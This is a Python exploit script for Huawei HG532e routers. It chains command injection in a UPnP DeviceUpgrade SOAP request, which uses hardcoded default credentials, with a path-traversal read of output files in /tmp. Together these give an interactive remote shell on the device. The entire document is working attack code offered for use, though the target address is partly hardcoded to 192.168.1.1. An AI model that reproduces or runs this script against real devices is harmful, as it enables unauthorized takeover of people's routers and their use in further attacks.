Huawei Router HG532e – Command Execution
#!/bin/python ''' Author : Rebellion Github : @rebe11ion Twitter : @rebellion ''' import urllib2,requests,os,sys from requests.auth import HTTPDigestAuth DEFAULT_HEADERS = {"User-Agent": "Mozilla", } DEFAULT_TIMEOUT = 5 def fetch_url(url): global DEFAULT_HEADERS, DEFAULT_TIMEOUT request = urllib2.Request(url, headers=DEFAULT_HEADERS) data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read() return data def exploit(ip, path): url = "http://%s:37215/icon/../../../%s" % (ip, path) data = fetch_url(url) return data def main(): pwd = "/" cmd_path = "/tmp/ccmd" pwd_path = "/tmp/cpwd" while True: targetip = sys.argv[1] cmd_ = raw_input("[{}]$ ".format(pwd)) cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path) rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>" url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1" requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm) assert cmd_path.startswith("/"), "An absolute path is required" data = exploit(targetip, cmd_path) open(cmd_path,"wb").write(data) if "cd" in cmd_: pass elif "clear" in cmd_: os.system("clear") elif "cat" in cmd_: os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path)) else: if "|" in cmd_: os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1])) else: os.system("cat {}".format(cmd_path)) pwd = exploit(targetip,pwd_path).strip("\n") if __name__ == "__main__": main() |